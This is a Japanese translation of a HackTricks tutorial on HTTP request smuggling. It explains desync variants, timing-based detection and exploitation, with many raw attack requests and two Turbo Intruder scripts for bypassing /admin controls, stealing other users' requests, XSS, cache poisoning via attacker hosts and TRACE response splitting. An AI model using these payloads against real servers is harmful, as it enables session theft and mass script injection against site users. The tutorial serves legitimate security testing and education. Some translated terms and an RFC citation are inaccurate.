hacktricks/pentesting-web/http-request-smuggling
2024-11-09 13:57:59 +00:00
..
browser-http-request-smuggling.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:32:09 +00:00
README.md Translated ['README.md', 'generic-methodologies-and-resources/python/byp 2024-11-09 13:57:59 +00:00
request-smuggling-in-http-2-downgrades.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00

HTTP Request Smuggling / HTTP Desync Attack

{% hint style="success" %} AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポートする
{% endhint %}

あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る

実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

これは何か

この脆弱性は、フロントエンドプロキシバックエンドサーバーの間に非同期化が発生し、攻撃者がHTTP リクエスト送信できるときに発生します。このリクエストはフロントエンドプロキシ(ロードバランス/リバースプロキシ)によって単一のリクエストとして解釈されバックエンドサーバーによって2つのリクエストとして解釈されます
これにより、ユーザーはバックエンドサーバーに到着する次のリクエストを変更することができます

理論

RFC仕様 (2161)

メッセージがTransfer-EncodingヘッダーフィールドとContent-Lengthヘッダーフィールドの両方を持って受信された場合、後者は無視されなければなりません。

Content-Length

Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのサイズバイト単位を示します。

Transfer-Encoding: chunked

Transfer-Encodingヘッダーは、ペイロードボディを安全にユーザーに転送するために使用されるエンコーディングの形式を指定します。
Chunkedは、大きなデータが一連のチャンクで送信されることを意味します。

現実

フロントエンド(ロードバランス/リバースプロキシは_content-lengthまたはtransfer-encoding_ヘッダーを処理し、バックエンドサーバーは他のヘッダーを処理し、2つのシステム間に非同期化を引き起こします。
これは非常に重大な問題であり、攻撃者はリバースプロキシに1つのリクエストを送信でき、それがバックエンドサーバーによって2つの異なるリクエストとして解釈されます。この技術の危険性は、バックエンドサーバーが注入された2番目のリクエストを次のクライアントからのものとして解釈し、そのクライアントの実際のリクエスト注入されたリクエストの一部になるという事実にあります。

特徴

HTTPでは新しい行文字は2バイトで構成されています

  • Content-Length: このヘッダーは、リクエストのボディバイト数を示すために10進数を使用します。ボディは最後の文字で終了することが期待されており、リクエストの最後に新しい行は必要ありません
  • Transfer-Encoding: このヘッダーは、次のチャンクバイト数を示すために16進数を使用します。チャンク新しい行終了しなければなりませんが、この新しい行は長さ指標によってカウントされません。この転送方法は、サイズ0のチャンクの後に2つの新しい行で終了しなければなりません:0
  • Connection: 私の経験に基づいて、リクエストスムーギングの最初のリクエストでは**Connection: keep-alive**を使用することをお勧めします。

基本的な例

{% hint style="success" %} Burp Suiteを使用してこれを悪用しようとする際は、リピーターでUpdate Content-LengthNormalize HTTP/1 line endingsを無効にしてください。一部のガジェットは新しい行、キャリッジリターン、誤ったContent-Lengthを悪用します。 {% endhint %}

HTTPリクエストスムーギング攻撃は、フロントエンドとバックエンドサーバーがContent-LengthCLおよびTransfer-EncodingTEヘッダーを解釈する際の不一致を利用して、あいまいなリクエストを送信することによって作成されます。これらの攻撃は、主にCL.TETE.CL、およびTE.TEとして異なる形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表します。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、そして潜在的に悪意のある結果をもたらします。

脆弱性タイプの基本的な例

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

{% hint style="info" %} 前の表にTE.0技術を追加する必要があります。CL.0技術のように、Transfer Encodingを使用します。 {% endhint %}

CL.TE脆弱性フロントエンドで使用されるContent-Length、バックエンドで使用されるTransfer-Encoding

  • フロントエンド (CL): Content-Lengthヘッダーに基づいてリクエストを処理します。
  • バックエンド (TE): Transfer-Encodingヘッダーに基づいてリクエストを処理します。
  • 攻撃シナリオ:
  • 攻撃者は、Content-Lengthヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。
  • フロントエンドサーバーは、Content-Lengthの値に基づいてリクエスト全体をバックエンドに転送します。
  • バックエンドサーバーは、Transfer-Encoding: chunkedヘッダーによりリクエストをチャンクとして処理し、残りのデータを別の後続リクエストとして解釈します。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL脆弱性フロントエンドで使用されるTransfer-Encoding、バックエンドで使用されるContent-Length

  • フロントエンド (TE): Transfer-Encodingヘッダーに基づいてリクエストを処理します。
  • バックエンド (CL): Content-Lengthヘッダーに基づいてリクエストを処理します。
  • 攻撃シナリオ:
  • 攻撃者は、チャンクサイズ(7b)と実際のコンテンツ長(Content-Length: 4)が一致しないチャンクリクエストを送信します。
  • フロントエンドサーバーは、Transfer-Encodingを尊重し、リクエスト全体をバックエンドに転送します。
  • バックエンドサーバーは、Content-Lengthを尊重し、リクエストの最初の部分(7bバイト)だけを処理し、残りを意図しない後続リクエストの一部として残します。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE脆弱性両方で使用されるTransfer-Encoding、難読化を伴う

  • サーバー: 両方ともTransfer-Encodingをサポートしていますが、一方は難読化を介して無視されるように騙される可能性があります。
  • 攻撃シナリオ:
  • 攻撃者は、難読化されたTransfer-Encodingヘッダーを持つリクエストを送信します。
  • どちらのサーバーフロントエンドまたはバックエンドが難読化を認識できないかによって、CL.TEまたはTE.CLの脆弱性が悪用される可能性があります。
  • リクエストの未処理部分は、サーバーの1つによって見られ、後続のリクエストの一部となり、スムーギングが発生します。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CLシナリオフロントエンドとバックエンドの両方で使用されるContent-Length

  • 両方のサーバーは、Content-Lengthヘッダーのみに基づいてリクエストを処理します。
  • このシナリオは通常、スムーギングには至らず、両方のサーバーがリクエストの長さを解釈する方法に整合性があります。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0シナリオ

  • Content-Lengthヘッダーが存在し、ゼロ以外の値を持ち、リクエストボディにコンテンツがあることを示すシナリオを指します。バックエンドはContent-Lengthヘッダーを無視しますこれは0として扱われますが、フロントエンドはそれを解析します。
  • スムーギング攻撃を理解し、作成する上で重要であり、サーバーがリクエストの終わりを決定する方法に影響を与えます。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0シナリオ

OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

ウェブサーバーの破壊

この技術は、初期のHTTPデータを読み取る際にウェブサーバーを破壊することが可能なシナリオでも有用ですが、接続を閉じることなく行います。この方法では、HTTPリクエストのボディ次のHTTPリクエストとして扱われます。

例えば、この書き込みで説明されているように、WerkzeugではいくつかのUnicode文字を送信することでサーバーが破壊されることが可能でした。しかし、HTTP接続が**Connection: keep-aliveヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなるため、リクエストのボディ次のHTTPリクエスト**として扱われます。

ホップバイホップヘッダーによる強制

ホップバイホップヘッダーを悪用することで、プロキシにContent-LengthまたはTransfer-Encodingヘッダーを削除させることができ、HTTPリクエストスムージングを悪用することが可能です

Connection: Content-Length

For more information about hop-by-hop headers visit:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

HTTPリクエストスムージングの発見

HTTPリクエストスムージングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、特にCL.TEおよびTE.CLの脆弱性を検出するのに役立ちます。これらの方法に加えて、他にもこのような脆弱性を見つけるために使用できる戦略やツールがあります。

タイミング技術を使用したCL.TE脆弱性の発見

  • 方法:
  • アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • 観察:
  • フロントエンドサーバーはContent-Lengthに基づいてリクエストを処理し、メッセージを早期に切り捨てます。
  • バックエンドサーバーはチャンクメッセージを期待しており、決して到着しない次のチャンクを待機するため、遅延が発生します。
  • 指標:
  • タイムアウトや応答の長い遅延。
  • バックエンドサーバーから400 Bad Requestエラーを受信することがあり、時には詳細なサーバー情報が含まれます。

タイミング技術を使用したTE.CL脆弱性の発見

  • 方法:
  • アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。
  • 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • 観察:
  • フロントエンドサーバーはTransfer-Encodingに基づいてリクエストを処理し、メッセージ全体を転送します。
  • バックエンドサーバーはContent-Lengthに基づいてメッセージを期待しており、決して到着しない追加データを待機するため、遅延が発生します。

脆弱性を見つけるための他の方法

  • 差分応答分析:
  • リクエストのわずかに異なるバージョンを送信し、サーバーの応答が予期しない方法で異なるかどうかを観察し、解析の不一致を示します。
  • 自動化ツールの使用:
  • Burp Suiteの「HTTP Request Smuggler」拡張機能のようなツールは、さまざまな形式のあいまいなリクエストを送信し、応答を分析することでこれらの脆弱性を自動的にテストできます。
  • Content-Lengthの変動テスト:
  • 実際のコンテンツ長と一致しないさまざまなContent-Length値を持つリクエストを送信し、サーバーがそのような不一致をどのように処理するかを観察します。
  • Transfer-Encodingの変動テスト:
  • 難読化または不正なTransfer-Encodingヘッダーを持つリクエストを送信し、フロントエンドとバックエンドサーバーがそのような操作にどのように異なる応答を示すかを監視します。

HTTPリクエストスムージング脆弱性テスト

タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒することを試みることです。たとえば、/へのリクエストが404応答を返すようにします。前述の基本的な例で説明したCL.TEおよびTE.CLの例は、クライアントのリクエストを毒して404応答を引き出す方法を示していますが、クライアントは異なるリソースにアクセスしようとしています。

重要な考慮事項

他のリクエストに干渉してリクエストスムージングの脆弱性をテストする際には、次の点に留意してください。

  • 異なるネットワーク接続: 「攻撃」と「正常」リクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。
  • 一貫したURLとパラメータ: 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指してください。現代のアプリケーションは、URLとパラメータに基づいてリクエストを特定のバックエンドサーバーにルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まり、成功する攻撃の前提条件となります。
  • タイミングとレース条件: 「正常」リクエストは、「攻撃」リクエストからの干渉を検出するために設計されており、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「正常」リクエストを送信してください。忙しいアプリケーションでは、脆弱性の確認のために複数の試行が必要になる場合があります。
  • 負荷分散の課題: フロントエンドサーバーが負荷分散装置として機能している場合、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「正常」リクエストが異なるシステムに到達した場合、攻撃は成功しません。この負荷分散の側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。
  • 意図しないユーザーへの影響: あなたの攻撃が他のユーザーのリクエスト(検出のために送信した「正常」リクエストではない)に偶然影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが必要です。

HTTPリクエストスムージングの悪用

HTTPリクエストスムージングによるフロントエンドセキュリティの回避

時には、フロントエンドプロキシがセキュリティ対策を強化し、受信リクエストを精査します。しかし、これらの対策はHTTPリクエストスムージングを利用することで回避でき、制限されたエンドポイントへの不正アクセスを可能にします。たとえば、/adminへのアクセスは外部から禁止されている場合があり、フロントエンドプロキシがそのような試みを積極的にブロックしています。それにもかかわらず、このプロキシはスムージングされたHTTPリクエスト内の埋め込まれたリクエストを検査しない可能性があり、これらの制限を回避するための抜け穴を残します。

以下の例は、HTTPリクエストスムージングがどのようにしてフロントエンドのセキュリティ制御を回避するために使用できるかを示しています。特に、通常フロントエンドプロキシによって保護されている/adminパスをターゲットにしています。

CL.TEの例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE攻撃では、最初のリクエストにContent-Lengthヘッダーが利用され、次の埋め込まれたリクエストはTransfer-Encoding: chunkedヘッダーを使用します。フロントエンドプロキシは最初のPOSTリクエストを処理しますが、埋め込まれたGET /adminリクエストを検査できず、/adminパスへの不正アクセスを許可します。

TE.CL 例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

逆に、TE.CL攻撃では、最初のPOSTリクエストがTransfer-Encoding: chunkedを使用し、その後の埋め込まれたリクエストはContent-Lengthヘッダーに基づいて処理されます。CL.TE攻撃と同様に、フロントエンドプロキシは密輸されたGET /adminリクエストを見落とし、意図せずに制限された/adminパスへのアクセスを許可します。

フロントエンドリクエストの書き換えを明らかにする

アプリケーションは、通常、フロントエンドサーバーを使用して、バックエンドサーバーに渡す前に受信リクエストを変更します。典型的な変更には、クライアントのIPをバックエンドに中継するためにX-Forwarded-For: <IP of the client>のようなヘッダーを追加することが含まれます。これらの変更を理解することは重要であり、保護を回避する方法隠された情報やエンドポイントを明らかにする方法を示す可能性があります。

プロキシがリクエストをどのように変更するかを調査するには、バックエンドがレスポンスでエコーするPOSTパラメータを見つけます。次に、このパラメータを最後に使用してリクエストを作成します。以下のように

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

この構造では、後続のリクエストコンポーネントが search= の後に追加され、これはレスポンスに反映されるパラメータです。この反映により、後続のリクエストのヘッダーが露出します。

ネストされたリクエストの Content-Length ヘッダーを実際のコンテンツ長に合わせることが重要です。小さな値から始めて徐々に増加させることが推奨されます。値が低すぎると反映されたデータが切り捨てられ、高すぎるとリクエストがエラーになる可能性があります。

この技術は TE.CL 脆弱性の文脈でも適用可能ですが、リクエストは search=\r\n0 で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。

この方法は、フロントエンドプロキシによって行われたリクエストの変更を理解するために主に使用され、基本的には自己主導の調査を行います。

他のユーザーのリクエストをキャプチャする

POST 操作中に特定のリクエストをパラメータの値として追加することで、次のユーザーのリクエストをキャプチャすることが可能です。これを実現する方法は次のとおりです:

次のリクエストをパラメータの値として追加することで、後続のクライアントのリクエストを保存できます:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

このシナリオでは、commentパラメータは、公開アクセス可能なページの投稿のコメントセクション内の内容を保存することを目的としています。その結果、次のリクエストの内容はコメントとして表示されます。

しかし、この技術には制限があります。一般的に、これはスムーズにリクエストで使用されるパラメータ区切り文字までのデータしかキャプチャしません。URLエンコードされたフォーム送信の場合、この区切り文字は&文字です。これは、被害者ユーザーのリクエストからキャプチャされた内容が最初の&で止まることを意味し、これはクエリ文字列の一部である可能性さえあります。

さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。その場合、リクエストはsearch=\r\n0で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。

HTTPリクエストスムージングを使用して反射型XSSを悪用する

HTTPリクエストスムージングは、反射型XSSに脆弱なウェブページを悪用するために利用でき、重要な利点を提供します:

  • 対象ユーザーとの対話は不要です。
  • HTTPリクエストヘッダーのような、通常は到達不可能なリクエストの部分でXSSを悪用することができます。

ウェブサイトがUser-Agentヘッダーを通じて反射型XSSに対して脆弱な場合、以下のペイロードはこの脆弱性を悪用する方法を示しています

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

このペイロードは、脆弱性を悪用するために構成されています:

  1. Transfer-Encoding: chunked ヘッダーを持つ、見た目には典型的な POST リクエストを開始し、スムーギングの開始を示します。
  2. 次に、チャンクメッセージボディの終わりを示す 0 が続きます。
  3. その後、スムーグルされた GET リクエストが導入され、User-Agent ヘッダーにスクリプト <script>alert(1)</script> が注入され、サーバーがこの後続のリクエストを処理する際に XSS がトリガーされます。

スムーギングを通じて User-Agent を操作することで、ペイロードは通常のリクエスト制約を回避し、非標準だが効果的な方法で反射型 XSS 脆弱性を悪用します。

HTTP/0.9

{% hint style="danger" %} ユーザーコンテンツが Content-typetext/plain のレスポンスに反映される場合、XSS の実行が防止されます。サーバーが HTTP/0.9 をサポートしている場合、これを回避できる可能性があります! {% endhint %}

HTTP/0.9 バージョンは 1.0 の前のもので、GET 動詞のみを使用し、ヘッダー ではなくボディのみで応答します。

この書き込み では、リクエストスムーギングと ユーザーの入力に応じて応答する脆弱なエンドポイント を利用して、HTTP/0.9 でリクエストをスムーグルしました。レスポンスに反映されるパラメータには 偽の HTTP/1.1 レスポンス(ヘッダーとボディを含む) が含まれているため、レスポンスには Content-Typetext/html の有効な実行可能な JS コードが含まれます。

HTTP リクエストスムーギングによるオンサイトリダイレクトの悪用

アプリケーションは、リダイレクト URL の Host ヘッダーからホスト名を使用して、ある URL から別の URL にリダイレクトすることがよくあります。これは、Apache や IIS のようなウェブサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダーをリクエストすると、スラッシュを含めるためにリダイレクトされます:

GET /home HTTP/1.1
Host: normal-website.com

結果は次のとおりです:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

この無害に見える動作は、HTTPリクエストスムーギングを使用してユーザーを外部サイトにリダイレクトするように操作できます。例えば

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

このスムグルリクエストは、次に処理されるユーザーリクエストが攻撃者が制御するウェブサイトにリダイレクトされる原因となる可能性があります:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

結果は:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

このシナリオでは、ユーザーのJavaScriptファイルへのリクエストがハイジャックされます。攻撃者は、悪意のあるJavaScriptを応答として提供することで、ユーザーを危険にさらす可能性があります。

HTTPリクエストスムージングを介したウェブキャッシュポイズニングの悪用

ウェブキャッシュポイズニングは、フロントエンドインフラストラクチャがコンテンツをキャッシュする任意のコンポーネントがある場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、キャッシュをポイズンすることが可能です。

以前、サーバーの応答を変更して404エラーを返す方法を観察しました基本的な例を参照)。同様に、サーバーを騙して/static/include.jsへのリクエストに対して/index.htmlのコンテンツを提供させることも可能です。その結果、/static/include.jsのコンテンツはキャッシュ内で/index.htmlのものに置き換えられ、ユーザーが/static/include.jsにアクセスできなくなり、サービス拒否DoSにつながる可能性があります。

この技術は、オープンリダイレクトの脆弱性が発見された場合や、オープンリダイレクトへのオンサイトリダイレクトがある場合に特に強力になります。このような脆弱性を利用して、攻撃者の制御下にあるスクリプトで/static/include.jsのキャッシュされたコンテンツを置き換えることができ、実質的にすべてのクライアントに対して広範なクロスサイトスクリプティングXSS攻撃を可能にします。

以下は、オープンリダイレクトへのオンサイトリダイレクトと組み合わせたキャッシュポイズニングの悪用の例です。目的は、攻撃者が制御するJavaScriptコードを提供するために/static/include.jsのキャッシュコンテンツを変更することです:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

埋め込まれたリクエストが /post/next?postId=3 をターゲットにしていることに注意してください。このリクエストは /post?postId=4 にリダイレクトされ、Host ヘッダーの値を利用してドメインを決定します。Host ヘッダーを変更することで、攻撃者はリクエストを自分のドメインにリダイレクトできます(オンサイトリダイレクトからオープンリダイレクト)。

成功した ソケットポイズニング の後、/static/include.js に対する GET リクエスト を開始する必要があります。このリクエストは、以前の オンサイトリダイレクトからオープンリダイレクト リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。

その後、/static/include.js に対するリクエストは、攻撃者のスクリプトのキャッシュされた内容を提供し、効果的に広範な XSS 攻撃を開始します。

HTTP リクエストスムージングを使用してウェブキャッシュの欺瞞を実行する

ウェブキャッシュポイズニングとウェブキャッシュの欺瞞の違いは何ですか?

  • ウェブキャッシュポイズニング では、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーにキャッシュから提供されます。
  • ウェブキャッシュの欺瞞 では、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。

攻撃者は、機密のユーザー固有のコンテンツを取得するためのスムージングリクエストを作成します。次の例を考えてみてください:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

このスムグルされたリクエストが静的コンテンツ(例:/someimage.png)用のキャッシュエントリを汚染すると、被害者の/private/messagesからの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。

HTTPリクエストスムグリングを利用したTRACEの悪用

この投稿では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用することが可能であると提案されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

以下のようなレスポンスを送信します:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

この動作を悪用する例としては、最初にHEADリクエストをスムグルことが挙げられます。このリクエストには、GETリクエストのヘッダーのみが応答されます(その中に**Content-Typeが含まれます)。そして、HEADの直後にTRACEリクエストをスムグルことで、送信されたデータを反映させることができます。
HEADの応答にはContent-Lengthヘッダーが含まれるため、TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させることになります。
この応答は接続上の次のリクエストに送信されるため、例えば
キャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。

HTTPレスポンス分割を介したTRACEの悪用

この投稿を引き続き参照することが推奨されており、TRACEメソッドを悪用する別の方法が示されています。コメントの通り、HEADリクエストとTRACEリクエストをスムグルことで、HEADリクエストへの応答における一部の反映データを制御することが可能です。HEADリクエストのボディの長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストへの応答によって形成されます。

したがって、新しいアイデアは、このContent-LengthとTRACE応答で与えられたデータを知ることで、TRACE応答がContent-Lengthの最後のバイトの後に有効なHTTP応答を含むようにすることが可能であり、攻撃者が次の応答へのリクエストを完全に制御できるようにすることですこれによりキャッシュポイズニングを実行することができます

例:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

これらのレスポンスを生成しますHEADレスポンスにContent-Lengthがあることに注意してください。これによりTRACEレスポンスがHEADボディの一部となり、HEAD Content-Lengthが終了すると有効なHTTPレスポンスがスムーズに送信されます

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTPリクエストスムーギングをHTTPレスポンスデシンクロナイゼーションで武器化する

HTTPリクエストスムーギングの脆弱性を見つけたが、どのように悪用するかわからない場合は、他の悪用方法を試してみてください。

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

その他のHTTPリクエストスムーギング技術

  • ブラウザHTTPリクエストスムーギングクライアントサイド

{% content-ref url="browser-http-request-smuggling.md" %} browser-http-request-smuggling.md {% endcontent-ref %}

  • HTTP/2ダウングレードにおけるリクエストスムーギング

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %} request-smuggling-in-http-2-downgrades.md {% endcontent-ref %}

ターボ侵入者スクリプト

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

ツール

参考文献

あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る

実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
